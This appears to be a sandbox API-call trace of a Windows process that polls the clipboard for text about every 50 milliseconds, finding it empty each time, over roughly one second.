[0254.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf290d900, dwHighDateTime=0x1d96e12))
[0254.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.351] GetClipboardData (uFormat=0x1) returned 0x0
[0254.351] CloseClipboard () returned 1
[0254.351] Sleep (dwMilliseconds=0x32)
[0254.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2933b5f, dwHighDateTime=0x1d96e12))
[0254.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.368] GetClipboardData (uFormat=0x1) returned 0x0
[0254.368] CloseClipboard () returned 1
[0254.368] Sleep (dwMilliseconds=0x32)
[0254.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2959db5, dwHighDateTime=0x1d96e12))
[0254.383] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.383] GetClipboardData (uFormat=0x1) returned 0x0
[0254.383] CloseClipboard () returned 1
[0254.383] Sleep (dwMilliseconds=0x32)
[0254.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf298001c, dwHighDateTime=0x1d96e12))
[0254.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.398] GetClipboardData (uFormat=0x1) returned 0x0
[0254.398] CloseClipboard () returned 1
[0254.398] Sleep (dwMilliseconds=0x32)
[0254.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf29a6269, dwHighDateTime=0x1d96e12))
[0254.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.415] GetClipboardData (uFormat=0x1) returned 0x0
[0254.415] CloseClipboard () returned 1
[0254.415] Sleep (dwMilliseconds=0x32)
[0254.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf29cc4ce, dwHighDateTime=0x1d96e12))
[0254.434] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.434] GetClipboardData (uFormat=0x1) returned 0x0
[0254.434] CloseClipboard () returned 1
[0254.434] Sleep (dwMilliseconds=0x32)
[0254.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf29f2725, dwHighDateTime=0x1d96e12))
[0254.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.447] GetClipboardData (uFormat=0x1) returned 0x0
[0254.447] CloseClipboard () returned 1
[0254.447] Sleep (dwMilliseconds=0x32)
[0254.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2a1897d, dwHighDateTime=0x1d96e12))
[0254.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.461] GetClipboardData (uFormat=0x1) returned 0x0
[0254.461] CloseClipboard () returned 1
[0254.461] Sleep (dwMilliseconds=0x32)
[0254.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2a3ebd7, dwHighDateTime=0x1d96e12))
[0254.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.476] GetClipboardData (uFormat=0x1) returned 0x0
[0254.476] CloseClipboard () returned 1
[0254.476] Sleep (dwMilliseconds=0x32)
[0254.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2a64e2b, dwHighDateTime=0x1d96e12))
[0254.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.494] GetClipboardData (uFormat=0x1) returned 0x0
[0254.494] CloseClipboard () returned 1
[0254.494] Sleep (dwMilliseconds=0x32)
[0254.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2a8b08a, dwHighDateTime=0x1d96e12))
[0254.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.508] GetClipboardData (uFormat=0x1) returned 0x0
[0254.508] CloseClipboard () returned 1
[0254.508] Sleep (dwMilliseconds=0x32)
[0254.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2ab12e4, dwHighDateTime=0x1d96e12))
[0254.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.523] GetClipboardData (uFormat=0x1) returned 0x0
[0254.523] CloseClipboard () returned 1
[0254.523] Sleep (dwMilliseconds=0x32)
[0254.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2ad753e, dwHighDateTime=0x1d96e12))
[0254.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.540] GetClipboardData (uFormat=0x1) returned 0x0
[0254.540] CloseClipboard () returned 1
[0254.540] Sleep (dwMilliseconds=0x32)
[0254.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2afd795, dwHighDateTime=0x1d96e12))
[0254.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.554] GetClipboardData (uFormat=0x1) returned 0x0
[0254.554] CloseClipboard () returned 1
[0254.554] Sleep (dwMilliseconds=0x32)
[0254.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2b239ed, dwHighDateTime=0x1d96e12))
[0254.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.572] GetClipboardData (uFormat=0x1) returned 0x0
[0254.572] CloseClipboard () returned 1
[0254.572] Sleep (dwMilliseconds=0x32)
[0254.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2b49c51, dwHighDateTime=0x1d96e12))
[0254.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.586] GetClipboardData (uFormat=0x1) returned 0x0
[0254.586] CloseClipboard () returned 1
[0254.586] Sleep (dwMilliseconds=0x32)
[0254.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2b6fea2, dwHighDateTime=0x1d96e12))
[0254.605] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.605] GetClipboardData (uFormat=0x1) returned 0x0
[0254.605] CloseClipboard () returned 1
[0254.605] Sleep (dwMilliseconds=0x32)
[0254.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2b96106, dwHighDateTime=0x1d96e12))
[0254.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.618] GetClipboardData (uFormat=0x1) returned 0x0
[0254.618] CloseClipboard () returned 1
[0254.618] Sleep (dwMilliseconds=0x32)
[0254.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2bbc35a, dwHighDateTime=0x1d96e12))
[0254.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.633] GetClipboardData (uFormat=0x1) returned 0x0
[0254.633] CloseClipboard () returned 1
[0254.633] Sleep (dwMilliseconds=0x32)
[0254.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2be25b7, dwHighDateTime=0x1d96e12))
[0254.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.648] GetClipboardData (uFormat=0x1) returned 0x0
[0254.648] CloseClipboard () returned 1
[0254.648] Sleep (dwMilliseconds=0x32)
[0254.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2c08809, dwHighDateTime=0x1d96e12))
[0254.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.671] GetClipboardData (uFormat=0x1) returned 0x0
[0254.671] CloseClipboard () returned 1
[0254.671] Sleep (dwMilliseconds=0x32)
[0254.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2c2ea6b, dwHighDateTime=0x1d96e12))
[0254.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.679] GetClipboardData (uFormat=0x1) returned 0x0
[0254.679] CloseClipboard () returned 1
[0254.680] Sleep (dwMilliseconds=0x32)
[0254.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2c54cba, dwHighDateTime=0x1d96e12))
[0254.695] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.695] GetClipboardData (uFormat=0x1) returned 0x0
[0254.695] CloseClipboard () returned 1
[0254.695] Sleep (dwMilliseconds=0x32)
[0254.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2c7af24, dwHighDateTime=0x1d96e12))
[0254.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.711] GetClipboardData (uFormat=0x1) returned 0x0
[0254.711] CloseClipboard () returned 1
[0254.711] Sleep (dwMilliseconds=0x32)
[0254.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2ca116c, dwHighDateTime=0x1d96e12))
[0254.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.726] GetClipboardData (uFormat=0x1) returned 0x0
[0254.726] CloseClipboard () returned 1
[0254.726] Sleep (dwMilliseconds=0x32)
[0254.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2cc73cd, dwHighDateTime=0x1d96e12))
[0254.742] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.742] GetClipboardData (uFormat=0x1) returned 0x0
[0254.742] CloseClipboard () returned 1
[0254.742] Sleep (dwMilliseconds=0x32)
[0254.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2ced648, dwHighDateTime=0x1d96e12))
[0254.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.758] GetClipboardData (uFormat=0x1) returned 0x0
[0254.758] CloseClipboard () returned 1
[0254.758] Sleep (dwMilliseconds=0x32)
[0254.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2d13893, dwHighDateTime=0x1d96e12))
[0254.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.773] GetClipboardData (uFormat=0x1) returned 0x0
[0254.773] CloseClipboard () returned 1
[0254.773] Sleep (dwMilliseconds=0x32)
[0254.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2d39ae0, dwHighDateTime=0x1d96e12))
[0254.789] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.789] GetClipboardData (uFormat=0x1) returned 0x0
[0254.789] CloseClipboard () returned 1
[0254.789] Sleep (dwMilliseconds=0x32)
[0254.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2d5fd6c, dwHighDateTime=0x1d96e12))
[0254.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.804] GetClipboardData (uFormat=0x1) returned 0x0
[0254.804] CloseClipboard () returned 1
[0254.805] Sleep (dwMilliseconds=0x32)
[0254.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2d85ff7, dwHighDateTime=0x1d96e12))
[0254.820] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.820] GetClipboardData (uFormat=0x1) returned 0x0
[0254.820] CloseClipboard () returned 1
[0254.820] Sleep (dwMilliseconds=0x32)
[0254.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2dac1f4, dwHighDateTime=0x1d96e12))
[0254.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.836] GetClipboardData (uFormat=0x1) returned 0x0
[0254.836] CloseClipboard () returned 1
[0254.836] Sleep (dwMilliseconds=0x32)
[0254.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2dd245e, dwHighDateTime=0x1d96e12))
[0254.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.851] GetClipboardData (uFormat=0x1) returned 0x0
[0254.851] CloseClipboard () returned 1
[0254.851] Sleep (dwMilliseconds=0x32)
[0254.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2df86b2, dwHighDateTime=0x1d96e12))
[0254.867] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.867] GetClipboardData (uFormat=0x1) returned 0x0
[0254.867] CloseClipboard () returned 1
[0254.868] Sleep (dwMilliseconds=0x32)
[0254.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2e1e90e, dwHighDateTime=0x1d96e12))
[0254.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.882] GetClipboardData (uFormat=0x1) returned 0x0
[0254.883] CloseClipboard () returned 1
[0254.883] Sleep (dwMilliseconds=0x32)
[0254.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2e44b68, dwHighDateTime=0x1d96e12))
[0254.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.898] GetClipboardData (uFormat=0x1) returned 0x0
[0254.898] CloseClipboard () returned 1
[0254.898] Sleep (dwMilliseconds=0x32)
[0254.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2e6ae3c, dwHighDateTime=0x1d96e12))
[0254.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.915] GetClipboardData (uFormat=0x1) returned 0x0
[0254.915] CloseClipboard () returned 1
[0254.915] Sleep (dwMilliseconds=0x32)
[0254.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2e9109d, dwHighDateTime=0x1d96e12))
[0254.930] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.930] GetClipboardData (uFormat=0x1) returned 0x0
[0254.930] CloseClipboard () returned 1
[0254.930] Sleep (dwMilliseconds=0x32)
[0254.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2eb72cb, dwHighDateTime=0x1d96e12))
[0254.945] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.945] GetClipboardData (uFormat=0x1) returned 0x0
[0254.945] CloseClipboard () returned 1
[0254.945] Sleep (dwMilliseconds=0x32)
[0254.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2edd51d, dwHighDateTime=0x1d96e12))
[0254.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.961] GetClipboardData (uFormat=0x1) returned 0x0
[0254.961] CloseClipboard () returned 1
[0254.961] Sleep (dwMilliseconds=0x32)
[0254.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2f0371b, dwHighDateTime=0x1d96e12))
[0254.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.976] GetClipboardData (uFormat=0x1) returned 0x0
[0254.976] CloseClipboard () returned 1
[0254.976] Sleep (dwMilliseconds=0x32)
[0254.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2f29a07, dwHighDateTime=0x1d96e12))
[0254.992] OpenClipboard (hWndNewOwner=0x0) returned 1
[0254.992] GetClipboardData (uFormat=0x1) returned 0x0
[0254.992] CloseClipboard () returned 1
[0254.992] Sleep (dwMilliseconds=0x32)
[0255.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2f4fc31, dwHighDateTime=0x1d96e12))
[0255.009] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.009] GetClipboardData (uFormat=0x1) returned 0x0
[0255.009] CloseClipboard () returned 1
[0255.009] Sleep (dwMilliseconds=0x32)
[0255.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2f75e44, dwHighDateTime=0x1d96e12))
[0255.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.023] GetClipboardData (uFormat=0x1) returned 0x0
[0255.023] CloseClipboard () returned 1
[0255.023] Sleep (dwMilliseconds=0x32)
[0255.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2f9c11f, dwHighDateTime=0x1d96e12))
[0255.039] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.039] GetClipboardData (uFormat=0x1) returned 0x0
[0255.039] CloseClipboard () returned 1
[0255.039] Sleep (dwMilliseconds=0x32)
[0255.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2fc233f, dwHighDateTime=0x1d96e12))
[0255.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.054] GetClipboardData (uFormat=0x1) returned 0x0
[0255.054] CloseClipboard () returned 1
[0255.054] Sleep (dwMilliseconds=0x32)
[0255.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf2fe8538, dwHighDateTime=0x1d96e12))
[0255.070] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.070] GetClipboardData (uFormat=0x1) returned 0x0
[0255.070] CloseClipboard () returned 1
[0255.070] Sleep (dwMilliseconds=0x32)
[0255.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf300e82b, dwHighDateTime=0x1d96e12))
[0255.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.086] GetClipboardData (uFormat=0x1) returned 0x0
[0255.086] CloseClipboard () returned 1
[0255.086] Sleep (dwMilliseconds=0x32)
[0255.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf30349df, dwHighDateTime=0x1d96e12))
[0255.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.101] GetClipboardData (uFormat=0x1) returned 0x0
[0255.101] CloseClipboard () returned 1
[0255.101] Sleep (dwMilliseconds=0x32)
[0255.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf305acda, dwHighDateTime=0x1d96e12))
[0255.117] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.117] GetClipboardData (uFormat=0x1) returned 0x0
[0255.117] CloseClipboard () returned 1
[0255.117] Sleep (dwMilliseconds=0x32)
[0255.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3080ef7, dwHighDateTime=0x1d96e12))
[0255.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.133] GetClipboardData (uFormat=0x1) returned 0x0
[0255.133] CloseClipboard () returned 1
[0255.133] Sleep (dwMilliseconds=0x32)
[0255.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf30a7149, dwHighDateTime=0x1d96e12))
[0255.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.148] GetClipboardData (uFormat=0x1) returned 0x0
[0255.148] CloseClipboard () returned 1
[0255.148] Sleep (dwMilliseconds=0x32)
[0255.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf30cd3cc, dwHighDateTime=0x1d96e12))
[0255.164] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.164] GetClipboardData (uFormat=0x1) returned 0x0
[0255.164] CloseClipboard () returned 1
[0255.164] Sleep (dwMilliseconds=0x32)
[0255.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf30f3ca2, dwHighDateTime=0x1d96e12))
[0255.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.180] GetClipboardData (uFormat=0x1) returned 0x0
[0255.180] CloseClipboard () returned 1
[0255.180] Sleep (dwMilliseconds=0x32)
[0255.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3119896, dwHighDateTime=0x1d96e12))
[0255.195] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.195] GetClipboardData (uFormat=0x1) returned 0x0
[0255.195] CloseClipboard () returned 1
[0255.195] Sleep (dwMilliseconds=0x32)
[0255.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf313fa69, dwHighDateTime=0x1d96e12))
[0255.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.211] GetClipboardData (uFormat=0x1) returned 0x0
[0255.211] CloseClipboard () returned 1
[0255.211] Sleep (dwMilliseconds=0x32)
[0255.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3165d4d, dwHighDateTime=0x1d96e12))
[0255.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.226] GetClipboardData (uFormat=0x1) returned 0x0
[0255.226] CloseClipboard () returned 1
[0255.226] Sleep (dwMilliseconds=0x32)
[0255.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf318bf15, dwHighDateTime=0x1d96e12))
[0255.242] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.242] GetClipboardData (uFormat=0x1) returned 0x0
[0255.242] CloseClipboard () returned 1
[0255.242] Sleep (dwMilliseconds=0x32)
[0255.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf31b220e, dwHighDateTime=0x1d96e12))
[0255.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.258] GetClipboardData (uFormat=0x1) returned 0x0
[0255.258] CloseClipboard () returned 1
[0255.258] Sleep (dwMilliseconds=0x32)
[0255.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf31d83bc, dwHighDateTime=0x1d96e12))
[0255.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.273] GetClipboardData (uFormat=0x1) returned 0x0
[0255.273] CloseClipboard () returned 1
[0255.273] Sleep (dwMilliseconds=0x32)
[0255.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf31fe6bd, dwHighDateTime=0x1d96e12))
[0255.289] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.289] GetClipboardData (uFormat=0x1) returned 0x0
[0255.289] CloseClipboard () returned 1
[0255.289] Sleep (dwMilliseconds=0x32)
[0255.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf322490f, dwHighDateTime=0x1d96e12))
[0255.306] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.306] GetClipboardData (uFormat=0x1) returned 0x0
[0255.306] CloseClipboard () returned 1
[0255.306] Sleep (dwMilliseconds=0x32)
[0255.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf324ab97, dwHighDateTime=0x1d96e12))
[0255.320] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.320] GetClipboardData (uFormat=0x1) returned 0x0
[0255.320] CloseClipboard () returned 1
[0255.320] Sleep (dwMilliseconds=0x32)
[0255.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3270d55, dwHighDateTime=0x1d96e12))
[0255.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.336] GetClipboardData (uFormat=0x1) returned 0x0
[0255.336] CloseClipboard () returned 1
[0255.336] Sleep (dwMilliseconds=0x32)
[0255.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3296ffb, dwHighDateTime=0x1d96e12))
[0255.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.351] GetClipboardData (uFormat=0x1) returned 0x0
[0255.351] CloseClipboard () returned 1
[0255.351] Sleep (dwMilliseconds=0x32)
[0255.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf32bd27c, dwHighDateTime=0x1d96e12))
[0255.367] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.367] GetClipboardData (uFormat=0x1) returned 0x0
[0255.367] CloseClipboard () returned 1
[0255.367] Sleep (dwMilliseconds=0x32)
[0255.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf32e346f, dwHighDateTime=0x1d96e12))
[0255.383] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.383] GetClipboardData (uFormat=0x1) returned 0x0
[0255.383] CloseClipboard () returned 1
[0255.383] Sleep (dwMilliseconds=0x32)
[0255.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3309733, dwHighDateTime=0x1d96e12))
[0255.400] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.401] GetClipboardData (uFormat=0x1) returned 0x0
[0255.401] CloseClipboard () returned 1
[0255.401] Sleep (dwMilliseconds=0x32)
[0255.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf332f8e9, dwHighDateTime=0x1d96e12))
[0255.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.415] GetClipboardData (uFormat=0x1) returned 0x0
[0255.415] CloseClipboard () returned 1
[0255.415] Sleep (dwMilliseconds=0x32)
[0255.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf3355b4d, dwHighDateTime=0x1d96e12))
[0255.433] OpenClipboard (hWndNewOwner=0x0) returned 1
[0255.433] GetClipboardData (uFormat=0x1) returned 0x0
[0255.433] CloseClipboard () returned 1
[0255.433] Sleep (dwMilliseconds=0x32)
